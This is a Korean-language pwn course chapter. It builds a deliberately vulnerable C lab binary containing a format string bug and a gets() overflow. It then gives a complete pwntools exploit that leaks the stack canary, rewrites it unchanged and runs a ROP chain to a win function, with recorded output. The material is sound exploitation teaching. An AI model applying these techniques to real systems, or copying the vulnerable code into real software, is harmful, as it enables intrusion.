Step 214. ★ 중간 점검: Canary+NX 바이너리 독립 익스플로잇 — 유출하고, 살려 두고, 덮는다

Step 214. ★ 중간 점검: Canary+NX 바이너리 독립 익스플로잇 — 유출하고, 살려 두고, 덮는다

Level 3 — Pwn 트랙 | 난이도 ★★★★★ | 예상 소요 시간 6시간

전제: Step 186(버퍼 오버플로우 재현), Step 187(보호 기법), Step 188(pwntools 입문)을 마쳤다. 스택 프레임, RET 덮어쓰기, 카나리의 동작을 알고, pwntools venv를 쓸 수 있다.

⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. 오늘의 타깃은 여러분이 직접 컴파일한 연습용 바이너리입니다.

  • 준비물: WSL 우분투 (실측: Ubuntu 24.04, gcc 13.3.0, gdb 15.1), Step 188에서 만든 pwntools venv (실측: pwntools 4.15.0).
  • 주의: 이 챕터는 중간 점검입니다. 3번 섹션에서 정찰까지만 함께 하고, 익스플로잇은 4번 미션에서 혼자 완성합니다. 막히면 5번의 단계별 힌트를 하나씩만 열어 보세요.

지금까지 Pwn 트랙에서 배운 것은 네 조각입니다 — 스택 오버플로우로 RET를 덮는 법(Step 186), 보호 기법이 무엇을 막는가(Step 187), pwntools로 페이로드를 만드는 법(Step 188), 그리고 포맷 스트링으로 메모리를 읽는 법. 오늘은 이 넷을 하나의 공격으로 합칩니다. 카나리와 NX가 켜진 바이너리를 받아, 카나리를 유출하고, 살려 두고, ROP 체인을 덮는 전 과정을 혼자 힘으로 수행하는 것이 졸업 시험입니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 보호 기법 판별(정찰)부터 전략 수립까지 익스플로잇의 전 과정을 혼자 설계한다
  • 포맷 스트링 취약점으로 스택 카나리 값을 유출한다
  • 카나리를 원래 값 그대로 되덮어 탐지를 우회한다
  • ROP 체인을 조립해 원하는 함수를 실행한다
  • 공격의 각 단계가 왜 필요한지 설명하는 Write-up을 쓴다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 C(타깃 제작용) + Python/pwntools(공격용) + WSL 우분투 bash (실측: gcc 13.3.0, gdb 15.1, pwntools 4.15.0)
오늘의 명령어 readelf -h / -lW, nm, objdump -d, gdb의 x/gx $rsp+오프셋, pwntools의 ELF, ROP, process
필요한 개념 스택 카나리(Step 187), 포맷 스트링 읽기(%p), ROP 체인, 스택 정렬, fortify(__printf_chk)
오늘의 산출물 동작하는 익스플로잇 스크립트 1개 + 단계별 근거를 적은 Write-up 1편

2-1. 오늘의 적: 두 개의 취약점, 두 장의 방어막

오늘의 타깃에는 취약점이 있습니다. 포맷 스트링 취약점(메모리 읽기)과 스택 오버플로우(메모리 쓰기)입니다. 방어막도 둘 — 카나리와 NX입니다. 이 대응 관계가 오늘 공격의 설계도입니다.

  • 카나리를 모르면 → 덮는 순간 죽습니다. 그래서 먼저 읽습니다(포맷 스트링).
  • NX 때문에 스택에 코드를 심을 수 없으므로 → 프로그램 안에 이미 있는 코드를 재활용합니다(ROP).

Step 187에서 배운 "유출 → 계산 → 덮기"의 2단 구조를 오늘 처음으로 처음부터 끝까지 수행합니다.

2-2. 카나리는 프로세스에 하나 — 다른 함수에서 읽어도 같다

카나리 값은 프로세스가 시작될 때 정해져 %fs:0x28에 보관되고, 각 함수의 프롤로그가 그 값을 자기 스택 프레임에 복사합니다. 같은 프로세스 안에서는 어느 함수에서 읽든 같은 값입니다.

이것이 오늘 공격의 열쇠입니다. 유출은 memo 함수에서 하고, 덮기는 vuln 함수에서 하지만 — 카나리 값은 같습니다. "읽는 곳과 덮는 곳이 달라도 된다"는 감각이 중요합니다.

2-3. 포맷 스트링 읽기 복습 — %p 체인

printf(사용자입력)처럼 포맷 문자열을 공격자가 쥐면, %p를 나열해 스택 위의 값들을 그대로 출력시킬 수 있습니다. x86-64에서 앞쪽 몇 개는 레지스터(rsi, rdx, …)에서, 그 뒤는 스택에서 읽습니다.

우분투 기본 컴파일에는 fortify가 켜져 있어 printf__printf_chk로 바뀝니다. 그러면 인자가 하나 밀려서 스택의 첫 칸이 %5$p가 되고, %N$ 번호를 건너뛰는 지정은 거부됩니다. 오늘 실측에서 이 두 가지를 모두 만납니다 — 3-2와 6번 섹션의 벽 1·2에서 다룹니다.

2-4. ROP 체인 — 스택에 "주소의 나열"을 쓴다

NX가 켜진 세상에서 스택에 쓸 수 있는 것은 코드가 아니라 주소입니다. ret는 "스택 꼭대기의 주소로 점프"이므로, 스택에 주소를 여러 개 나열해 두면 ret를 만날 때마다 다음 주소로 튑니다 — 이것이 ROP 체인입니다.

체인에 넣을 주소 조각을 가젯(gadget)이라 부릅니다. pop rdi; ret 같은 가젯이 있으면 함수에 인자까지 실어 보낼 수 있지만, 오늘의 작은 바이너리에는 없습니다. 그때 어떻게 하는지가 3-4의 실측 발견입니다.

2-5. 독립 수행의 룰

중간 점검의 채점 기준은 "플래그"만이 아닙니다. ① 정찰 결과를 먼저 글로 썼는가, ② 각 단계를 따로 검증했는가, ③ 왜 그렇게 했는지 Write-up에 근거가 있는가. 실전 pwn의 보고서와 같은 기준입니다.


3. 따라 하기

3-1. 타깃 바이너리 — 출제자의 손으로

중간 점검이지만 타깃은 직접 컴파일합니다. 실전이라면 배포된 바이너리를 받는 상황이라고 생각하세요. ~/lab214_218 폴더를 만들어 진행합니다.

입력 (target214.c)

#include <stdio.h>
#include <string.h>

char flag[] = "FLAG{c4n4ry_l34k_4nd_r0p_ch41n}";

void win(void) {
    printf("관리자 권한 획득: %s\n", flag);
}

void memo(void) {           /* 포맷 스트링 취약점 — 정보 유출 단계 */
    char fmt[64];
    printf("메모를 남기세요: ");
    fgets(fmt, sizeof(fmt), stdin);
    printf(fmt);
    printf("\n");
}

void vuln(void) {           /* 스택 오버플로우 — 덮기 단계 */
    char buf[64];
    printf("자기소개를 입력하세요: ");
    gets(buf);
    printf("등록 완료\n");
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    memo();
    vuln();
    printf("정상 종료\n");
    return 0;
}

컴파일 — 카나리를 켜고, PIE를 끕니다 (NX는 기본으로 켜집니다):

mkdir -p ~/lab214_218 && cd ~/lab214_218
gcc -O1 -fstack-protector-strong -no-pie -o target214 target214.c
target214.c:13:12: warning: format not a string literal and no format arguments [-Wformat-security]
target214.c: warning: the `gets' function is dangerous and should not be used.

(2026-09-09 실측. 경고 두 개 — 컴파일러가 두 취약점을 정확히 짚어 줍니다. "경고가 곧 취약점 목록"이라는 것, 잊지 마세요.)

여기까지가 출제입니다. 이제 소스를 잊으세요. 여러분은 방금 바이너리 하나를 건네받은 공격자입니다.

3-2. 정찰 — 무엇이 켜져 있는가

공격의 첫 동작은 코드 읽기가 아니라 방어막 읽기입니다 (Step 187의 판별법 그대로입니다).

readelf -h target214 | grep Type
readelf -lW target214 | grep GNU_STACK
nm target214 | grep stack_chk
  Type:                              EXEC (Executable file)
  GNU_STACK      ... RW  0x10
                 U __stack_chk_fail@GLIBC_2.4

(2026-09-09 실측.)

출력 읽는 법: EXEC → PIE 꺼짐, 주소 고정. GNU_STACK이 RW(E 없음) → NX 켜짐, 쉘코드 불가. __stack_chk_fail → 카나리 켜짐. 종합하면 전략이 자동으로 결정됩니다: 카나리 유출 + ROP. PIE가 꺼져 있어 주소는 정적 분석으로 구할 수 있습니다 — 유출이 필요한 것은 카나리뿐입니다.

심볼도 봅니다:

nm target214 | grep -E " win$| flag$"
0000000000404060 D flag
00000000004011f6 T win

(2026-09-09 실측.)

win이 0x4011f6에 고정돼 있습니다. 가기만 하면 됩니다.

3-3. 정찰 2 — 두 취약점의 위치 파악

디스어셈블리로 프레임 구조를 읽습니다. 먼저 memo:

gdb -batch -ex "disassemble memo" ./target214
   0x00000000004011ff <+9>:	mov    %fs:0x28,%rax
   0x0000000000401208 <+18>:	mov    %rax,0x48(%rsp)
   ...
   0x0000000000401244 <+78>:	call   0x4010f0 <__printf_chk@plt>

(2026-09-09 실측.)

출력 읽는 법: 카나리가 rsp+0x48에 심어집니다. 그리고 호출이 printf가 아니라 __printf_chk — fortify가 켜져 있다는 신호입니다. 이 한 글자 차이가 %p의 번호를 밀어 놓습니다 (곧 실측합니다).

vuln도 봅니다:

gdb -batch -ex "disassemble vuln" ./target214
   0x00000000004012a9 <+17>:	mov    %rax,0x48(%rsp)
   0x00000000004012c1 <+41>:	mov    %rsp,%rdi
   0x00000000004012c9 <+49>:	call   0x4010e0 <gets@plt>
   ...
   0x00000000004012ee <+86>:	ret

(2026-09-09 실측.)

출력 읽는 법: gets의 인자(rdi)가 rsp 그 자체 — 버퍼는 프레임 맨 아래입니다. 카나리는 rsp+0x48 = 버퍼 시작에서 72바이트 뒤. 그 뒤 8바이트를 지나면 RET 주소입니다. 즉 덮기 지도는: 72바이트 채움 + 카나리 8 + 패딩 8 + RET(체인).

3-4. 마지막 힌트 — 이 바이너리의 가젯 목록

체인에 쓸 재고를 확인합니다. pwntools venv를 켜고:

source ~/lab188/venv/bin/activate
python3 -c "
from pwn import *
context.log_level = 'error'
e = ELF('./target214')
r = ROP(e)
for g in r.gadgets.values():
    print(hex(g.address), '; '.join(g.insns))
"
0x401264 add esp, 0x50; pop rbx; ret
0x4012c1 add esp, 0x58; ret
0x401017 add esp, 8; ret
0x401263 add rsp, 0x50; pop rbx; ret
0x4012c0 add rsp, 0x58; ret
0x401016 add rsp, 8; ret
0x4012c3 pop rax; ret
0x4011dd pop rbp; ret
0x401267 pop rbx; ret
0x40101a ret

(2026-09-09 실측.)

읽는 법: pop rdi; ret없습니다. 작은 바이너리의 흔한 상황입니다 — 현대 glibc에서는 예전의 가젯 창고(__libc_csu_init)가 사라졌기 때문입니다. 인자를 실을 수 없으니, 오늘의 체인은 인자가 필요 없는 win()을 부르는 최소 형태가 됩니다: ret 가젯(정렬용) + win 주소. "체인"이 거창한 것이 아니라, 주소의 나열이면 그게 체인입니다.

여기까지가 함께한 정찰입니다. 여러분은 지금 다음을 알고 있습니다:

  • 보호 기법: 카나리 O, NX O, PIE X (주소 고정)
  • 유출구: memo의 포맷 스트링 — 스택에서 카나리 위치는 rsp+0x48
  • 덮기 지도: 72 + 카나리 8 + 패딩 8 + RET
  • 목적지: win = 0x4011f6, 정렬용 ret 가젯 = 0x40101a

4. 미션과 연습문제

미션 — target214 독립 익스플로잇 + Write-up

지금부터 혼자 합니다. 순서는 이렇습니다:

  1. 전략을 글로 먼저 쓴다 — "카나리를 어떻게 읽을 것인가, 체인은 어떻게 생겼는가" 세 줄 이상
  2. 유출 단계 — 포맷 스트링으로 카나리를 읽고, 그것이 카나리가 맞는지 검증한다 (힌트 없이 방법을 떠올려 보세요)
  3. 덮기 단계 — 카나리를 살려 두고 체인을 덮어 win을 실행한다
  4. Write-up — 각 단계의 근거("왜 14번째인가", "왜 72바이트인가" 등)를 적는다

막힐 때만 5번 섹션의 힌트를 하나씩 열어 보세요. 힌트 1은 유출, 힌트 2는 검증, 힌트 3은 덮기입니다. 전부 보고 나서 따라 한 것과, 스스로 한 것은 실력이 다릅니다.

연습문제

문제 1. 오늘 타깃에서 PIE가 꺼져 있었기 때문에 유출해야 할 정보가 카나리 하나로 줄었습니다. PIE까지 켜져 있었다면 무엇을 추가로 유출해야 하고, 어떤 슬롯이 그 단서가 될 수 있었나요? (3-3의 유출 출력을 다시 보세요.)

문제 2. 카나리는 memo 함수에서 읽고 덮기는 vuln 함수에서 했는데도 공격이 성공했습니다. 왜 같은 값이었나요?

문제 3. printf__printf_chk로 바뀌면서 생긴 변화 두 가지를 설명하세요 (스택 슬롯 번호, %N$ 사용).

문제 4. 익스플로잇 성공 후 프로그램이 세그폴트로 끝나는 경우가 있습니다. 플래그는 이미 출력된 뒤라면, 이 크래시는 공격의 실패인가요? 실전 CTF 기준으로 답하세요.


5. 모범 답안과 완료 기준

힌트 1 (유출) — %p를 몇 개나, 몇 번째를?

fmt 버퍼는 64바이트라 최대 63글자 — %p.를 21개 나열할 수 있습니다. 스택 슬롯을 전부 찍어 보고, 그중 끝 바이트가 00이면서 매 실행마다 바뀌는 값을 찾으세요. 카나리의 첫 바이트가 0인 이유는 Step 187에 있습니다.

힌트 2 (검증) — gdb에서 같은 실행의 진짜 카나리와 대조

유출된 후보가 진짜 카나리인지 확인하는 법: gdb로 memo의 카나리 검사 직전(mov 0x48(%rsp),%rax 지점)에 멈춰 x/gx $rsp+0x48을 읽고, 같은 실행에서 프로그램이 출력한 값과 비교하면 됩니다.

힌트 3 (덮기) — 페이로드 배열

b"A"*72 + p64(카나리) + b"B"*8 + p64(0x40101a) + p64(0x4011f6). 카나리는 읽은 값 그대로 넣는 것이 핵심입니다 — 덮되, 바꾸지 않는 것.

미션 모범 답안

1단계 — 유출. %p 21개를 보냅니다:

probe = b".".join([b"%p"] * 21)
메모를 남기세요: 0xfbad2088.0xffbfad5f.0x4052df.(nil).0x70252e70252e7025. ...(중략)... 0x403e00.0x87927b21e74a8600.0x7fffffffe788.0x4012f2. ...

(2026-09-09 실측.)

14번째 값 0x87927b21e74a8600이 끝이 00이고 실행마다 바뀝니다 — 카나리 후보. 5~12번째의 0x70252e70252e7025는 "%p.%p.%p"의 아스키 — 내 입력 자체가 스택에 보이는 것이므로 기준점 삼기 좋습니다.

왜 14번째인가: fortify 때문에 __printf_chk(플래그, 포맷, ...) 형태가 되어 인자가 하나 밀리고, 스택 첫 칸은 %5$p가 됩니다. 카나리는 rsp+0x48 = 9칸 뒤니까 5 + 9 = 14번째. 계산과 실측이 일치했습니다.

2단계 — 검증. gdb로 같은 실행에서 대조했습니다:

Breakpoint 1, 0x0000000000401253 in memo ()
0x7fffffffe648:	0x87927b21e74a8600

(2026-09-09 실측. 프로그램 출력의 14번째 값과 완전히 일치 — 유출 성공이 증명됐습니다.)

3단계 — 덮기. 전체 익스플로잇입니다:

from pwn import *

context.log_level = "error"
e = ELF("./target214")
p = process("./target214")

# 1단계: 포맷 스트링으로 카나리 유출
probe = b".".join([b"%p"] * 21)
p.sendlineafter("메모를 남기세요: ".encode(), probe)
slots = p.recvline().decode().strip().split(".")
canary = int(slots[13], 16)   # 14번째 슬롯 (0-base 13)
print("[*] 유출된 카나리:", hex(canary))
assert canary & 0xff == 0     # 끝 바이트 00 검사

# 2단계: 카나리를 살려 두고 RET부터 ROP 체인
payload = b"A" * 72           # buf[64] ~ 카나리 직전
payload += p64(canary)        # 카나리는 읽은 값 그대로
payload += b"B" * 8           # 저장된 레지스터 자리
payload += p64(0x40101a)      # ret — 스택 정렬
payload += p64(e.sym["win"])  # win()으로
p.sendlineafter("자기소개를 입력하세요: ".encode(), payload)
print(p.recvall(timeout=2).decode(errors="replace"))

실행 결과:

[*] 유출된 카나리: 0x50bcbca1ec185900
등록 완료
관리자 권한 획득: FLAG{c4n4ry_l34k_4nd_r0p_ch41n}

(2026-09-09 실측. 매 실행마다 카나리가 달라져도 스크립트가 그 실행의 값을 읽어 덮으므로 항상 성공합니다.)

검증하는 법: ① stack smashing detected 없이 win까지 도달했는가 — 카나리를 살렸다는 뜻. ② 카나리를 p64(0)처럼 임의 값으로 바꾸면 *<strong> stack smashing detected </strong>*: terminated로 죽는가 — 대조 실험으로 우회가 맞음을 확인. ③ Write-up에 "왜" 세 개(14번째, 72바이트, ret 가젯)의 근거가 있는가.

연습문제 해답

문제 1 해답. PIE가 켜져 있으면 win의 주소가 실행마다 바뀌므로 코드 배이스를 추가로 유출해야 합니다. 유출 출력에서 0x4012f2처럼 0x40xxxx 대의 값이 그 단서입니다 — 이것은 memo의 호출자(main)로 돌아가는 리턴 주소로, 실행 중 코드 영역의 실제 주소입니다. 이 값에서 해당 슬롯의 파일 오프셋을 빼면 배이스가 나오고, 배이스 + win의 오프셋으로 목적지를 계산합니다.

문제 2 해답. 카나리의 원본은 프로세스당 하나로 %fs:0x28에 보관되고, 각 함수의 프롤로그가 그 같은 값을 자기 프레임에 복사하기 때문입니다. memo에서 읽은 값과 vuln에서 검사되는 값의 출처가 같으므로, 한 함수에서 유출해 다른 함수의 검사를 통과할 수 있습니다.

문제 3 해답. 첫째, __printf_chk는 인자 목록 앞에 플래그 인자가 추가돼 스택의 첫 칸이 %6$p가 아니라 %5$p가 됩니다(한 칸 전진). 둘째, %7$p처럼 번호를 건너뛰는 지정을 하면 *<strong> invalid %N$ use detected </strong>*를 출력하며 프로그램이 중단됩니다 — 앞번호를 빠짐없이 써야 합니다 (2026-09-09 실측으로 확인).

문제 4 해답. 실패가 아닙니다. 익스플로잇의 목표는 제어 탈취와 목표 동작(플래그 출력)의 수행이고, 그 뒤 프로세스가 깨끗이 종료할 의무는 없습니다. 실전 CTF에서도 플래그를 받은 뒤 연결이 끊기는 것은 흔합니다. 다만 Write-up 수준에서는 "win 리턴 후 유효한 다음 주소가 없어 크래시"처럼 원인을 설명할 수 있어야 하고, 필요하면 체인 끝에 exit 계열을 붙여 정리합니다.

완료 기준 체크리스트

  • [ ] readelf/nm으로 카나리·NX·PIE를 판별하고 전략을 글로 먼저 썼다
  • [ ] %p 체인으로 스택을 덤프해 카나리 후보를 찾았다
  • [ ] fortify(__printf_chk)가 슬롯 번호를 한 칸 미는 것을 이해하고 계산으로 확인했다
  • [ ] gdb로 유출값이 진짜 카나리와 일치함을 같은 실행에서 증명했다
  • [ ] 카나리를 원래 값으로 되덮고 ROP 체인(ret + win)을 조립해 플래그를 얻었다
  • [ ] 카나리를 임의 값으로 넣는 대조 실험에서 stack smashing을 확인했다
  • [ ] 미션: Write-up에 각 단계의 근거를 적었다

6. 흔한 실수와 해결

벽 1. %7$p처럼 번호를 지정했는데 </strong>* invalid %N$ use detected *<strong>가 뜬다

증상: 위치 지정 포맷을 쓰자마자 프로그램이 Aborted (core dumped)로 죽습니다.
원인: fortify가 켜진 __printf_chk는 번호를 건너뛰는 %N$를 허용하지 않습니다 (2026-09-09 실측). 버퍼 길이 제한으로 포맷 문자열이 중간에 잘려도 같은 메시지가 뜹니다.
해결: %p.%p.%p...처럼 순서대로 나열하세요. 어차피 스택을 통째로 보는 것이 목적이므로 체인 방식이 더 정보도 많습니다.

벽 2. 스택 첫 칸이 %6$p이 아니다

증상: 책대로 %6$p부터 세었는데 한 칸씩 어긋납니다.
원인: __printf_chk(플래그, 포맷, ...) — 플래그 인자가 하나 더 있어 varargs가 rdx부터 시작하고, 스택 첫 칸은 %5$p입니다 (2026-09-09 실측: 5번째 슬롯에서 내 입력 "%p.%p"의 아스키 0x70252e… 확인).
해결: 번호를 외우지 말고 기준점을 찾으세요 — 내가 보낸 문자열의 아스키가 보이는 슬롯이 스택의 시작이고, 거기서 카나리까지의 거리를 세면 됩니다.

벽 3. 카나리는 찾았는데 덮으면 여전히 stack smashing

증상: 유출한 값을 넣었는데 *<strong> stack smashing detected </strong>*: terminated.
원인: 대부분 오프셋 오류 — 카나리까지의 거리(72)가 틀렸거나, 카나리 자리에 8바이트가 정확히 안 맞았거나. 1바이트만 어긋나도 탐지됩니다.
해결: disassemble vuln에서 gets 직전의 rdi(버퍼 시작)와 카나리 위치(mov %fs:0x28 저장 오프셋)를 다시 재세요. 추측이 아니라 디스어셈블리가 기준입니다.

벽 4. gdb 스크립트에서 $rsp가 사라진다

증상: x/gx $rsp+0x48Cannot access memory at address 0x48가 됩니다 — $rsp가 통째로 빈 문자열로.
원인: 쉘을 여러 격 거치며 $가 변수 확장됩니다. Step 178의 벽 2와 같은 문제로, 이번 챕터 실측에서도 재현됐습니다.
해결: gdb 명령 파일을 파이썬으로 만들 때 chr(36)을 쓰거나, 대화형 gdb에서 직접 입력하세요.

벽 5. 체인을 태웠는데 win에서 바로 세그폴트, 혹은 플래그 후 세그폴트

증상: ret 가젯 없이 win으로 직행하니 플래그는 나오는데 종료 코드 -11(SIGSEGV)입니다 (2026-09-09 실측).
원인: 두 가지 원인이 있을 수 있습니다 — 스택 16바이트 정렬 불일치(printf 계열의 movaps가 요구), 또는 win이 리턴한 뒤 다음 스택 값이 쓰레기 주소.
해결: 체인 앞에 ret 가젯 하나를 넣어 정렬을 맞추는 것이 표준 관행입니다. 플래그 후의 크래시는 문제 4에서 다룬 대로 실패가 아니지만, 원인을 설명할 수 있어야 합니다.


7. 정리

오늘의 개념

개념 한 줄 설명
카나리 유출 읽기 취약점으로 감시 값을 먼저 훔쳐, 덮을 때 그대로 넣는 우회
%p 체인 포맷 스트링으로 스택을 순서대로 덤프하는 기본 기법
__printf_chk fortify가 바꿔 끼운 printf — 슬롯 번호 +1칸, %N$ 건너뛰기 금지
ROP 체인 스택에 주소를 나열해 ret 도미노를 만드는 기법 — 주소 2개도 체인
ret 가젯 스택 정렬을 맞추기 위해 체인에 끼우는 가장 단순한 가젯
Write-up "무엇을"이 아니라 "왜"를 적는 공격 보고서

오늘의 명령어

명령 하는 일
readelf -h / -lW, nm 보호 기법 판별 — 공격 전 정찰 삼종
%p. × N 입력 스택 내용을 순서대로 유출
gdb -batch -ex "disassemble 함수" 프레임 구조(카나리·버퍼 오프셋) 파악
x/gx $rsp+0x48 실행 중 카나리 실물 확인 — 유출 검증
ROP(ELF).gadgets (pwntools) 체인 재고(가젯) 목록화
p.sendlineafter / p.recvline (pwntools) 단계별 입출력 자동화

명령어보다 중요한 감각

중간 점검의 진짜 답은 플래그가 아니라 순서입니다. 방어막을 먼저 읽고(정찰), 부족한 정보를 읽어 내고(유출), 읽은 것을 살려 두며 덮고(우회), 주소를 나열해 흐름을 잇는다(체인). 이 네 박자는 오늘의 연습 바이너리를 넘어 실전 pwn 문제 전부에서 반복되는 리듬입니다.

그리고 하나 더 — 오늘 익스플로잇은 두 번의 작은 발견(슬롯이 하나 밀린다, 가젯이 없다) 위에서 완성됐습니다. 교과서대로 안 되는 것을 그 자리에서 재고 고치는 것, 그것이 "독립"의 의미입니다.


전부 체크되면 Step 214 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.